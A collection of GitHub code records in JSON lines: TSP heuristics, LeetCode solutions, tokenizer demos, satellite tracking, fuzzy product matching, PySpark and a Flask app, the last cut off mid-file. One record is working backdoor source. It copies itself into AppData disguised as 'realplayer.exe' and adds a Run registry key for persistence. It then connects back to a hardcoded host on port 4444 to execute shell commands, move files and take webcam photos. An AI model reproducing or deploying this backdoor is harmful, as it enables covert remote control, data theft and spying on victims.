+{"seq_id":"72076531129","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport random\nimport math\nimport numpy as np\n\n\ndef read_input(name):\n    # read data and return a list of (x,y) coordinates\n    data = pd.read_csv(name, sep=\";\")\n    x = data['x'].to_list()\n    y = data['y'].to_list()\n\n    return list(zip(x, y))\n\ndef calc_distance(node, current_node):\n    # calculate distance\n    distance = math.sqrt((node[0] - current_node[0]) ** 2 + ((node[1] - current_node[1]) ** 2))\n\n    return distance\n\n\ndef find_nearest_neighbor(current_node, unvisited_nodes):\n    # find nearest neighbor based on calculating distances of unvisited nodes\n    distances = [] # list of distances\n    for node in unvisited_nodes:\n        distance = calc_distance(node, current_node)\n        distances.append(distance)\n\n    index_min_distance = np.argmin(distances) # index of shortest distance\n\n    return unvisited_nodes[index_min_distance], distances[index_min_distance]\n\n\ndef TSP_by_NN(nodes):\n    # input - nodes\n    # output - length of hamiltonian cycle, list of nodes (ordered according to their place in hamiltonian cycle)\n\n    status = [\"N\"]*len(nodes) # create list of status for each node\n    path_length = 0 # length of hamiltonian cycle\n    path = [] # list of nodes in hamiltonian cycle\n\n    # create random starting point\n    current_node = nodes[random.randrange(0, len(nodes))]\n\n    while len([i for i in status if i == \"N\"]) > 1:\n        # set status of current node = \"Z\"\n        node_index = nodes.index(current_node)\n        status[node_index] = \"Z\"\n\n        # create list of unvisited nodes\n        unvisited_nodes = []\n        for i in range(len(status)):\n            # if status of node is \"N\", append node to list of unvisited nodes\n            if status[i] == \"N\":\n                unvisited_nodes.append(nodes[i])\n\n        # find nearest neighbor, NN will be called next_node\n        next_node, distance = find_nearest_neighbor(current_node, unvisited_nodes)\n\n        path_length += distance  # updates length of hamiltonian circuit\n        path.append(current_node)  # append current node to path\n\n        current_node = next_node  # make next_node the current_node (for finding its nearest neighbor in the next iteration)\n\n        # create plot node by node\n        #plt.scatter([p[0] for p in nodes], [p[1] for p in nodes])\n        #plot_result(path)\n\n    path.append(path[0]) # connect beginning and end of hamiltonian cycle\n    path_length += calc_distance(path[0], current_node) # update path length\n\n    return path, path_length\n\n\ndef plot_result(path):\n    # plot results using matplotlib scatterplot\n    plt.scatter([p[0] for p in path], [p[1] for p in path])\n    for i in range(len(path) - 1):\n        plt.plot((path[i][0], path[i+1][0]), (path[i][1], path[i+1][1]), color=\"red\")\n\n    plt.plot()\n    plt.gca().set_aspect('equal', adjustable='box') # aby výsledek nebyl zkreslený\n    plt.show()\n\n\ndef TSP_by_best_insertion(nodes):\n    status = [\"N\"] * len(nodes) # set status of all nodes \"N\" (unvisited)\n    path = [] # list of points in hamiltonian circuit\n\n    # find three nodes as the starting hamiltonian circuit\n    while len(path) < 4:\n        random_node = nodes[random.randrange(0, len(nodes))]\n        node_index = nodes.index(random_node)\n        # if node is open, append to hamiltonian circuit and set his status to closed\n        if status[node_index] == \"N\":\n            path.append(random_node)\n            status[node_index] = \"Z\"\n\n    # calculate length of starting hamiltonian cycle\n    path_length = calc_distance(path[0], path[1]) + calc_distance(path[1], path[2]) + calc_distance(path[2], path[0])\n\n    while len([i for i in status if i == \"N\"]) > 1:\n        # while there are unvisited nodes execute the code\n        # create list of unvisited nodes\n        unvisited_nodes = [nodes[i] for i in range(len(status)) if status[i] == \"N\"]\n        # choose random node from list of unvisited nodes\n        random_node = unvisited_nodes[random.randrange(0, len(unvisited_nodes))]\n\n        distance_changes = [] # empty list of distance changes which will be used further\n\n        for i in range(len(path)):\n            # iterate through consecutive nodes in hamiltonian cycle\n            i2 = i + 1 if i != len(path)-1 else 0\n            # calculate distance change when random_node inserted between nodes of ham cycle with index i and i+1\n            distance_change = calc_distance(random_node, path[i]) + calc_distance(random_node, path[i2]) - calc_distance(path[i], path[i2])\n            distance_changes.append(distance_change) # append distance change to list of distance changes\n\n        index_min_distance = np.argmin(distance_changes) # index of node with minimum distance change\n\n        path.insert(index_min_distance + 1, random_node) # insert node into hamiltonian cycle where distance change is minimal\n        path_length += distance_changes[index_min_distance] # update length of hamiltonian cycle\n        status[nodes.index(random_node)] = \"Z\" # set status of node to closed\n        path.append(path[0]) # for connecting during visualization\n\n    return path, path_length\n\nif __name__ == \"__main__\":\n\n    nodes = read_input(\"data.csv\") # vstup\n\n    path_NN, path_length_NN = TSP_by_NN(nodes)\n\n    paths_BN = []\n    path_lengths_BN = []\n\n    # iterate 10 times\n    for result in range(10):\n        path_BN, path_length_BN = TSP_by_best_insertion(nodes)\n        paths_BN.append(path_BN)\n        path_lengths_BN.append(path_length_BN)\n\n    ## NN results\n    print(\"NN\")\n    print(path_length_NN)\n    plot_result(path_NN)\n\n    ## BN results\n    print(\"BN\")\n    print(path_lengths_BN)\n    plot_result(path_BN)\n","repo_name":"eliskasieglova/tsp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32808683813","text":"# https://leetcode.com/contest/biweekly-contest-13/problems/smallest-common-region/\n\nclass TreeNode:\n    def __init__(self, val, parent=None):\n        self.val = val\n        self.parent = parent\n\nclass Solution:\n    def findSmallestRegion(self, regions: List[List[str]], region1: str, region2: str) -> str:\n        \n        def get_parents(region, hmap):\n            node = hmap[region]\n            if node.parent is None:\n                return [node.val]\n            \n            return [node.val] + get_parents(node.parent.val, hmap)\n        \n        hashmap = {}\n        for l in regions:\n            parent = l[0]\n            if parent not in hashmap:\n                hashmap[parent] = TreeNode(parent)\n            for c in l[1:]:\n                hashmap[c] = TreeNode(c, parent=hashmap[parent])\n                \n        parents1 = get_parents(region1, hashmap)\n        parents2 = get_parents(region2, hashmap)\n        if len(parents1) > len(parents2):\n            parents1 = parents1[(len(parents1) - len(parents2)):]\n        elif len(parents2) > len(parents1):\n            parents2 = parents2[(len(parents2) - len(parents1)):]\n        for i in range(len(parents1)):\n            if parents1[i] == parents2[i]:\n                return parents1[i]\n","repo_name":"rmodi6/scripts","sub_path":"practice/Leetcode/1257_smallest_common_region.py","file_name":"1257_smallest_common_region.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9672924555","text":"import numpy as np\n# count the nber of ways to divide a nber up four ways\n# sounds like a change making problem!!!\n\n#dp = [[]] * 5001\n#for i in range(5001):\n#    dp[i].append([-1] * 5)\n#print(dp)\n\ndef countWays(num, kParts):\n    dp = np.full((5001, 5001, kParts + 1), -1.)\n    def countWaysUtil(n, parts, nextPart):\n        if parts == 0 and n == 0: return 1\n        if n <= 0 or parts <= 0: return 0\n\n        if dp[n][nextPart][parts] != -1:\n            return dp[n][nextPart][parts]\n\n        ans = 0\n        for i in range(nextPart, n + 1):\n            ans += countWaysUtil(n - i, parts - 1, i)\n\n        dp[n][nextPart][parts] = ans\n        return ans\n    return countWaysUtil(num, kParts, 1)\n\nprint(countWays(8, 4))\n","repo_name":"bensenberner/ctci","sub_path":"numFourWays.py","file_name":"numFourWays.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70450466490","text":"import socket, json\r\nimport subprocess\r\nimport os\r\nimport base64\r\nimport cv2\r\nimport sys\r\nimport shutil\r\n\r\n#POO\r\nclass Backdoor:\r\n    def __init__(self, ip ,port):\r\n        self.persintencia()\r\n        self.coneccion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n        self.coneccion.connect((ip,port))\r\n        \r\n    def persintencia(self):\r\n        evil_file_location = os.environ[\"appdata\"] + \"\\\\realplayer.exe\" \r\n        #Copiamos el archivo que se esta ejecutando en este momento con \"sys.executable\"\r\n        if not os.path.exists(evil_file_location):\r\n            shutil.copyfile(sys.executable,evil_file_location)\r\n            subprocess.call('reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v update /t REG_SZ /d \"' + evil_file_location +'\"', shell=True)\r\n\r\n    def envio_confiable(self, data):\r\n        try:#Download\r\n            #COloar exepcion por que cuando quitas\r\n            #.decode se puede ejecutar el comando mandar pero no el download  \r\n            json_data = json.dumps(data.decode('utf-8','ignore'))\r\n            self.coneccion.send(json_data.encode('utf-8'))\r\n        except AttributeError:#Mandar\r\n            json_data = json.dumps(data)\r\n            self.coneccion.send(json_data.encode('utf-8'))\r\n     \r\n    def recibir_confiable(self):\r\n        json_data = ''\r\n        while True:\r\n            try:\r\n                json_data = json_data + self.coneccion.recv(1024).decode('utf-8')\r\n                return json.loads(json_data)\r\n            except ValueError:\r\n                continue\r\n\r\n    def cmd(self,command):\r\n        DEVNUL = open(os.devnull, 'wb')\r\n        return subprocess.check_output(command, shell=True, stderr=DEVNUL, stdin=DEVNUL)\r\n\r\n    def cambiar_de_directorio(self, path):\r\n        os.chdir(path)\r\n        print( \"[+] Cambiando de directorio a \" + path)\r\n\r\n    def escribir_archivo(self, path, contenido):\r\n        with open(path, 'wb') as file:\r\n            file.write(base64.b64decode(contenido))\r\n            return '[+] subida exitosa'\r\n\r\n    def leer_archivo(self, path):\r\n        with open(path, 'rb') as file:\r\n            return base64.b64encode(file.read())#Lo encapsulamos o lo codificamos en base64\r\n\r\n    def tomar_foto(self):\r\n        cap = cv2.VideoCapture(0)\r\n        leido, frame = cap.read()\r\n        if leido == True:\r\n            cv2.imwrite(\"foto.png\", frame)\r\n            print(\"Foto tomada correctamente\")\r\n        else:\r\n            print(\"Error al acceder a la cámara\")\r\n\r\n    def run(self):\r\n        \r\n        while True:\r\n            command=self.recibir_confiable()\r\n            try:\r\n                if command[0] == \"exit\":\r\n                    self.coneccion.close()\r\n                    sys.exit()\r\n                elif command[0] == \"cd\" and len(command) > 1:\r\n                    self.cambiar_de_directorio(command[1])\r\n                elif command[0] == \"download\":\r\n                    comando_final = self.leer_archivo(command[1])\r\n                elif command[0] == \"mandar\":\r\n                    comando_final = self.escribir_archivo(command[1], command[2])\r\n                elif command[0] == \"saycheese\":\r\n                    self.tomar_foto()\r\n                else:\r\n                    comando_final = self.cmd(command)\r\n            except Exception:\r\n                comando_final = '[+] error durante la ejecucion'\r\n\r\n            self.envio_confiable(comando_final)\r\n\r\ntry:\r\n    my_backdoor = Backdoor('192.168.88.175',4444)\r\n    #my_backdoor = Backdoor('IpHacker',4444)\r\n    my_backdoor.run()\r\nexcept Exception:\r\n    sys.exit()\r\n\r\n\r\n\r\n","repo_name":"JuanSebastian07/yp.roodkcabST0707","sub_path":"reverse_backdoo(cliente)r.py","file_name":"reverse_backdoo(cliente)r.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41971905307","text":"translate = {\n    (\".\", 0): [0],\n    (\".\", 1): [1],\n    (\".\", 2): [2],\n    (\".\", 3): [3],\n    (\"/\", 0): [1],\n    (\"/\", 1): [0],\n    (\"/\", 2): [3],\n    (\"/\", 3): [2],\n    (\"\\\\\", 0): [3],\n    (\"\\\\\", 1): [2],\n    (\"\\\\\", 2): [1],\n    (\"\\\\\", 3): [0],\n    (\"-\", 0): [1, 3],\n    (\"-\", 1): [1],\n    (\"-\", 2): [1, 3],\n    (\"-\", 3): [3],\n    (\"|\", 0): [0],\n    (\"|\", 1): [0, 2],\n    (\"|\", 2): [2],\n    (\"|\", 3): [0, 2],\n}\ngx, gy = 0, 0\n\n\ndef get_puzzle_input():\n    global gx, gy\n    with open(\"input.txt\", \"r\") as file:\n        grid = [line.strip() for line in file.readlines()]\n        gx, gy = len(grid[0]), len(grid)\n        return grid\n\n\ndef get_next(x, y, d):\n    if d == 0 and y > 0:\n        return x, y - 1\n    elif d == 1 and x < gx - 1:\n        return x + 1, y\n    elif d == 2 and y < gy - 1:\n        return x, y + 1\n    elif d == 3 and x > 0:\n        return x - 1, y\n    return None\n\n\ndef run(start):\n    grid = get_puzzle_input()\n    open_set = {start}\n    visited = set()\n\n    while open_set:\n        (x, y), d = open_set.pop()\n        if ((x, y), d) in visited:\n            continue\n\n        visited.add(((x, y), d))\n\n        for nd in translate[(grid[y][x], d)]:\n            n = get_next(x, y, nd)\n            if n:\n                open_set.add((n, nd))\n\n    return len({pos for pos, _ in visited})\n\n\ndef first_puzzle():\n    print(f\"Puzzle 1: {run(((0, 0), 1))}\")\n\n\ndef second_puzzle():\n    starting_pos = [\n        pos\n        for s in [[((i, 0), 2), ((i, gy - 1), 0)] for i in range(gx)] + [[((0, i), 1), ((gx - 1, i), 3)] for i in range(gy)]\n        for pos in s\n    ]\n    result = max(run(start) for start in starting_pos)\n    print(f\"Puzzle 2: {result}\")\n\n\nif __name__ == \"__main__\":\n    first_puzzle()  # Puzzle 1: 8323\n    second_puzzle()  # Puzzle 2: 8491\n","repo_name":"simonbuescher/advent-of-code","sub_path":"2023/16/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"117684203","text":"'''\nGiven an array of n integers where n > 1, nums, return an array output such that output[i] is\nequal to the product of all the elements of nums except nums[i].\nSolve it without division and in O(n).\n\nFor example, given [1,2,3,4], return [24,12,8,6].\n'''\n\nclass Solution(object):\n    def productExceptSelf(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: List[int]\n        \"\"\"\n        output=[]\n        productSoFar=1\n        \n        for i in range(len(nums)): #first pass fills output partially with product left of index i\n            output.append(productSoFar)\n            productSoFar *= nums[i]\n        productSoFar=1 #reset it before going backwards through nums    \n        \n        for i in range(len(nums)-1, -1, -1): #now fill output with product of elements right of index i\n            output[i]*= productSoFar\n            productSoFar *= nums[i]\n        return output\n","repo_name":"PrivateVictory/Leetcode","sub_path":"src/klc/array/productExceptSelf.py","file_name":"productExceptSelf.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"29358637879","text":"#Zodiaco\nsign = (\"Capricornio\", \"Acuario\", \"Piscis\", \"Aries\", \"Tauro\", \"Géminis\", \"Cáncer\", \"Leo\", \"Virgo\", \"Libra\", \"Escorpio\", \"Sagitario\")\ndates = (20, 19, 20, 20, 21, 21, 22, 22, 22, 22, 22, 21)\n\nday = int(input(\"Día :\"))\nmonth = int(input(\"Mes :\"))\n\nmonth = month - 1\nif day > dates[month]:\n    month = month + 1\nif month == 12:\n    month = 0\n\nprint (\"Tu signo es: \" + sign[month])","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej7/hito1_ej7_38b4544614be3e627325317008146f95.py","file_name":"hito1_ej7_38b4544614be3e627325317008146f95.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4814025967","text":"# https://youtu.be/dBk98xqEtoA\r\n\"\"\"\r\nThis code demonstrates how to use the BERT tokenizer from the transformers library \r\nand SentencePieceBPETokenizer & ByteLevelBPETokenizer from the tokenizers library \r\nto tokenize a sentence.\r\n\r\n!pip install transformers\r\n!pip install tokenizers\r\n\"\"\"\r\n\r\n\r\n\r\nfrom transformers import BertTokenizer\r\n\r\nbert_tokenizer = BertTokenizer.from_pretrained(\"bert-base-uncased\")\r\ninput_sentence = \"Digitalsreeni is a great resource for python \"\r\n\r\nbert_tokens = bert_tokenizer.tokenize(input_sentence)\r\nprint(bert_tokens)\r\n\r\n# ['digital', '##sr', '##een', '##i', 'is', 'a', 'great', 'resource', 'for', 'python']\r\n#Digitalsreeni is not present in the tokenizer vocabulary, so it split it into\r\n#\"Digital\" \"sr\" \"een\" and \"i\". All other words are its vocabulary.\r\n# Note that \"##\" means the token should be attached to the previous one\r\n\r\n\r\n#############################################################################\r\n\r\n\"\"\"\r\nBoth ByteLevelBPETokenizer and SentencePieceBPETokenizer are tokenizers used \r\nfor subword tokenization, but they use different algorithms to learn the \r\nvocabulary and perform tokenization.\r\n\r\nByteLevelBPETokenizer is a tokenizer from the Hugging Face tokenizers library \r\nthat learns byte-level BPE (Byte Pair Encoding) subwords. It starts by splitting \r\neach input text into bytes, and then learns a vocabulary of byte-level subwords \r\nusing the BPE algorithm. This tokenizer is particularly useful for languages \r\nwith non-Latin scripts, where a character-level tokenizer may not work well.\r\n\r\nOn the other hand, SentencePieceBPETokenizer is a tokenizer from the SentencePiece \r\nlibrary that learns subwords using a unigram language model. It first tokenizes \r\nthe input text into sentences, and then trains a unigram language model on the \r\nresulting sentence corpus to learn a vocabulary of subwords. This tokenizer can \r\nhandle a wide range of languages and text types, and can learn both character-level \r\nand word-level subwords.\r\n\r\nIn terms of usage, both tokenizers are initialized and trained in a similar way.\r\n\r\n\r\n\"\"\"\r\n\r\n\r\nfrom tokenizers import SentencePieceBPETokenizer\r\nBPE_sentence_tokenizer = SentencePieceBPETokenizer()\r\n#input_sentence = \"Digitalsreeni is a great resource for python \"\r\n# Define the input sentence\r\ninput_sentence = \"Digitalsreeni is a great resource for python and all my friends love Digitalsreeni videos on YouTube. As you know YouTube has many channels but I like Digitalsreeni channel the most\"\r\n\r\n\r\n#Train on vocab from a file\r\nBPE_sentence_tokenizer.train('some_text.txt', vocab_size=1000)\r\nBPE_sentence_tokens = BPE_sentence_tokenizer.encode(input_sentence)\r\nprint(BPE_sentence_tokens.tokens)\r\n# To decode with SentencePiece all tokens can just be concatenated and \"▁\" is replaced by a space.\r\n\r\n\r\n\r\n\r\nfrom tokenizers import ByteLevelBPETokenizer\r\nbyte_level_BPE_tokenizer = ByteLevelBPETokenizer()\r\ninput_sentence = \"Digitalsreeni is a great resource for python and all my friends love Digitalsreeni videos on YouTube. As you know YouTube has many channels but I like Digitalsreeni channel the most\"\r\n\r\n\r\n#Train on vocab from a file\r\nbyte_level_BPE_tokenizer.train('some_text.txt', vocab_size=1000)\r\nbyte_level_BPE_tokens = byte_level_BPE_tokenizer.encode(input_sentence)\r\nprint(byte_level_BPE_tokens.tokens)\r\n# The Ġ symbol is used to represent the beginning of a word, so when you see Ġis, \r\n# it means the word starts with \"is\"\r\n\r\n\r\n    \r\n\"\"\"\r\n#The Ġ symbol is used to represent the beginning of a word, so when you see Ġi, \r\n# it means the word starts with the letter \"i\"\r\n\r\n\r\nIn the encoded sentence, \"Digitalsreeni\" and \"channel\" are encoded as single \r\ntokens because they appear frequently in the input sentence. When the Byte Pair \r\nEncoding (BPE) algorithm is applied to the input sentence, it iteratively merges \r\nthe most frequent character sequences into new tokens until it reaches the desired \r\nvocabulary size.\r\n\r\nIn this case, the BPE algorithm has learned that \"Digitalsreeni\" and \"channel\" \r\nare frequent character sequences in the input sentence and has merged them into \r\nsingle tokens. The Ġ symbol is used to represent the beginning of each word, \r\nso when you see ĠDigitalsreeni, it means the word \"Digitalsreeni\" starts at that \r\nposition.\r\n\r\nNote that the BPE algorithm does not always merge frequent character sequences \r\ninto single tokens. The decision to merge or not to merge depends on the frequency \r\nand context of the character sequences in the input data. In some cases, it may be \r\nmore appropriate to split a word into multiple subword units rather than merging \r\nit into a single token.\r\n\r\n\"\"\"\r\n\r\n#############################################################################\r\n\"\"\"\r\n#Train versus train_from_iterator\r\n\r\nThe train method takes a list of strings as input, where each string represents \r\na document or a sequence of tokens. It tokenizes each document and uses the \r\nresulting tokens to learn the vocabulary of the tokenizer. This method is \r\nsuitable when the entire dataset can be loaded into memory at once.\r\n\r\nThe train_from_iterator method, on the other hand, takes an iterable as input, \r\nwhere each element of the iterable represents a document or a sequence of tokens. \r\nIt iterates through the elements of the iterable and tokenizes each document, \r\nwithout loading the entire dataset into memory at once. This method is useful \r\nwhen the dataset is too large to fit into memory at once, or when the documents \r\nare generated on-the-fly and cannot be pre-loaded into a list.\r\n\r\n\"\"\"\r\n\r\n# Initialize a tokenizer object\r\nBPE_sentence_tokenizer_1 = SentencePieceBPETokenizer()\r\n\r\n# Train the tokenizer using the `train` method\r\ndocuments = [\"some_text.txt\", \"some_text2.txt\", \"some_text3.txt\"]\r\nBPE_sentence_tokenizer_1.train(documents)\r\n\r\n\r\n\r\n\r\nBPE_sentence_tokenizer_2 = SentencePieceBPETokenizer()\r\n# Train the tokenizer using the `train_from_iterator` method\r\ndef document_iterator():\r\n    yield \"some_text.txt\"\r\n    yield \"some_text2.txt\"\r\n    yield \"some_text3.txt\"\r\nBPE_sentence_tokenizer_2.train_from_iterator(document_iterator())\r\n\r\n\r\n\r\n\r\n#In both cases, we get the same training but the second approach is better\r\n#if all training data cannot be fit in memory at once. \r\n\r\n################################################################\r\n\r\n\r\n    \r\n","repo_name":"bnsreenu/python_for_microscopists","sub_path":"310-Understanding sub-word tokenization used for NLP/tokenizers.py","file_name":"tokenizers.py","file_ext":"py","file_size_in_byte":6320,"program_lang":"python","lang":"en","doc_type":"code","stars":3177,"dataset":"github-code","pt":"77"}
+{"seq_id":"23053167583","text":"from skyfield.api import load, wgs84\nfrom skyfield.api import EarthSatellite\n\n\n\nstations_url = 'http://celestrak.org/NORAD/elements/gp.php?GROUP=active&FORMAT=tle'\nsatellites = load.tle_file(stations_url)\n\nprint(len(satellites))\n\n\ndef calc_pos(sat, bluffton, t):\n    geocentric = sat.at(t)\n    #print(geocentric.position.km)\n\n    lat, lon = wgs84.latlon_of(geocentric)\n    #print('Latitude:', lat)\n    #print('Longitude:', lon)\n\n\n    difference = sat - bluffton\n\n    topocentric = difference.at(t)\n    #print(topocentric.position.km)\n\n    alt, az, distance = topocentric.altaz()\n    #print('Altitude:', alt)\n    #print('Azimuth:', az)\n    if (alt.degrees > 45):\n        print('Distance: {:.1f} km'.format(distance.km), alt.degrees, sat)\n    #print(\"time\" , t.utc_iso())\n    \n    \n\n\nloc = wgs84.latlon(+37.389, -122.1469)\n\n\nsat = satellites[80]\n\n\nts = load.timescale()\n\nt = ts.now()\n\nfor sat in satellites:\n    calc_pos(sat, loc, t)\n\n\n","repo_name":"BenoitSchillings/SatAbove","sub_path":"sat.py","file_name":"sat.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73260914167","text":"from django.core.validators import MinLengthValidator, MaxLengthValidator\nfrom django.forms import forms, CharField, DateField\n\n\nclass NuevoPrestamoForm(forms.Form):\n\tsocio = CharField(\n\t\tlabel='Socio',\n\t\tvalidators=[\n\t\t\tMinLengthValidator(9),\n\t\t\tMaxLengthValidator(9),\n\t\t],\n\t)\n\tlibro = CharField(\n\t\tlabel='Libro',\n\t)\n\tfecha_devolucion = DateField(\n\t\tlabel='Fecha de devolución',\n\t)\n","repo_name":"arielcostas/gestor_bibliotecas","sub_path":"bibliotecasApp/forms/prestamos.py","file_name":"prestamos.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"1418153943","text":"import pandas as pd\nimport jellyfish\nfrom joblib import Parallel, delayed\nfrom itertools import combinations\nimport timeit\nfrom datetime import datetime\nimport multiprocessing\nfrom tqdm import tqdm\n\ndate_time = datetime.now()\n\n# Assuming you have a DataFrame called 'df' with columns 'product_description' and 'seller_id'\n\ndef export_matches(df):\n    df.to_csv(f'files/matches_{date_time.strftime(\"%m%d%y%H%M%S\")}.csv.gz',compression=\"gzip\", index=False)\n    df.to_parquet(f'files/matches_{date_time.strftime(\"%m%d%y%H%M%S\")}.parquet', index=False)\n    df.to_excel(f'files/matches_{date_time.strftime(\"%m%d%y%H%M%S\")}.xlsx', index=False)\n    \ndef compare_products_wrapper(args):\n    i, product1 = args[0]\n    j, product2 = args[1]\n    \n    result = compare_products(product1, product2)\n    return result\n\ndef compare_products(product1, product2):\n    \n    if((not product1['dw_evi_bu'] == \"ITEMMASTER\") and (not product2['dw_evi_bu'] == \"ITEMMASTER\")):\n        # Calculate similarity scores based on product description and seller ID\n        description_similarity = jellyfish.jaro_winkler(product1['item_description'], product2['item_description'])\n        seller_similarity = jellyfish.jaro_winkler(product1['vendor_item_no'], product2['vendor_item_no'])\n        \n        # Define a threshold for similarity\n        seller_similarity_threshold = 0.98\n        description_similarity_threshold = 0.85\n        \n        # Check if both similarity scores meet the threshold\n        if description_similarity >= description_similarity_threshold and seller_similarity >= seller_similarity_threshold:\n            # print(product1, product2, description_similarity, seller_similarity)\n            return product1.item_no, product1.item_description, product1.vendor_item_no, product1.dw_evi_bu, product2.item_no, product2.item_description, product2.vendor_item_no, product2.dw_evi_bu, description_similarity, seller_similarity\n        else:\n            return None\n    else:\n        return None\n    \ndef main():\n    columns_to_read = [\"item_no\", \"item_description\", \"vendor_item_no\", \"dw_evi_bu\", \"total_item_cost\", \"total_item_qty_on_hand\"]\n    df = pd.read_parquet(\"files/Item_Statistics_Report.parquet\", columns=columns_to_read)\n    print(df)\n    df = df[df[\"vendor_item_no\"] != \"\"]\n    df_itemmaster = df[df['dw_evi_bu'] == \"ITEMMASTER\"]\n    print(df_itemmaster)\n    df = df[(df[\"total_item_cost\"] != 0.0) & (df[\"total_item_qty_on_hand\"] != 0)]\n    df = pd.concat([df, df_itemmaster])\n    print(df)\n    \n    # df = df.sample(200)\n    df = df.reset_index(drop=True)\n    print(df)\n    print(df.columns)\n    \n    # Create a multiprocessing pool\n    pool = multiprocessing.Pool(processes=20)\n\n    print(\"Running comparisson process...\")\n    matches = []\n    for i, row1 in tqdm(df.iterrows(), total=len(df)):\n        for j, row2 in df.loc[i+1:].iterrows():\n            pair = ((i, row1), (j, row2))\n            result = pool.imap_unordered(compare_products_wrapper, [pair])\n            non_none_results = [r for r in result if r is not None]\n            matches.extend(non_none_results)\n\n    pool.close()\n    pool.join()\n\n    \n    # Create a DataFrame from the matches\n    matches_df = pd.DataFrame(matches, columns=[\"item_no_1\", \"item_description_1\", \"vendor_item_no_1\", \"dw_evi_bu_1\", \"item_no_2\", \"item_description_2\", \"vendor_item_no_2\", \"dw_evi_bu_2\",\"description_similarity\", \"seller_similarity\"])\n\n\n    # Print the matches\n    print(matches_df)\n    if(not matches_df.empty):\n        export_matches(matches_df)\n\nif __name__ == '__main__':\n    start = timeit.default_timer()\n    main()\n    end = timeit.default_timer()\n    print(f'Duration: {end-start} secs')\n    print(f'Duration: {(end-start)/60} mins')","repo_name":"telleznadim/fuzzy_search_tests","sub_path":"jellyfish_test_mp_v3.py","file_name":"jellyfish_test_mp_v3.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9579643539","text":"from pyspark.sql import SparkSession\n\nfrom lib.logger import Log4j\n\nif __name__ == \"__main__\":\n    spark = SparkSession \\\n        .builder \\\n        .master(\"local[2]\") \\\n        .appName(\"SparkSchemaDemo\") \\\n        .getOrCreate()\n\n    logger = Log4j(spark)\n\n    flightTimeCsvDf = spark.read \\\n        .format(\"csv\") \\\n        .option(\"header\", \"true\") \\\n        .option(\"inferSchema\", \"true\") \\\n        .load(\"data/flight*.csv\")\n\n    flightTimeCsvDf.show()\n\n    logger.info(\"CSV schema:\" + flightTimeCsvDf.schema.simpleString())\n\n    flightTimeJsonDf = spark.read \\\n        .format(\"json\") \\\n        .option(\"header\", \"true\") \\\n        .option(\"inferSchema\", \"false\") \\\n        .load(\"data/flight*.json\")\n\n    flightTimeJsonDf.show()\n\n    logger.info(\"Json schema:\" + flightTimeJsonDf.schema.simpleString())\n\n    flightTimeParquetDf = spark.read \\\n        .format(\"parquet\") \\\n        .option(\"header\", \"true\") \\\n        .option(\"inferSchema\", \"true\") \\\n        .load(\"data/flight*.parquet\")\n\n    flightTimeParquetDf.show()\n\n    logger.info(\"Parquet schema:\" + flightTimeParquetDf.schema.simpleString())\n\n\n\n","repo_name":"azaveri7/pyspark-projects","sub_path":"SparkSchemaDemo/SparkSchemaDemo.py","file_name":"SparkSchemaDemo.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7664315004","text":"from flask import Flask\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom flask_login import LoginManager\r\nimport os\r\nimport logging\r\n\r\nlogging.basicConfig(filename=\"log.log\",\r\n                    filemode='a',\r\n                    format='%(asctime)s.%(msecs)d %(name)s %(levelname)s %(message)s',\r\n                    datefmt='%d/%m/%Y %H:%M:%S',\r\n                    level=logging.DEBUG)\r\n\r\ndb = SQLAlchemy()\r\nDB_NAME = 'database.db'\r\n\r\n\r\ndef create_database(app):\r\n    if not os.path.exists(\"website/\" + DB_NAME):\r\n        db.create_all(app=app)\r\n        logging.info(\"Database has been created\")\r\n        logging.info(f\"Database file: {DB_NAME}\")\r\n\r\n\r\ndef create_app(base_dir):\r\n    app = Flask(__name__, template_folder=os.path.join(base_dir, \"website/frontend/templates\"))\r\n    app.config['SECRET_KEY'] = \"pOh@*2y=|`sgv]YNu',f9h2_y6MsgD8POE~^(L&.rr'k}!F~Aq*;\\\"qNc(<ku58^\"\r\n    app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{DB_NAME}'\r\n    db.init_app(app)\r\n\r\n    from ..frontend.views import views\r\n    from ..frontend.auth import auth\r\n    from ..frontend.static import static\r\n\r\n    app.register_blueprint(views, url_prefix=\"/\")\r\n    app.register_blueprint(auth, url_prefix=\"/auth/\")\r\n    app.register_blueprint(static, url_prefix=\"/static/\")\r\n    from .models import User\r\n\r\n    create_database(app)\r\n\r\n    login_manager = LoginManager()\r\n    login_manager.login_view = \"auth.login\"\r\n    login_manager.init_app(app)\r\n\r\n    @login_manager.user_loader\r\n    def load_user(id):\r\n        return User.query.get(int(id))\r\n\r\n    return 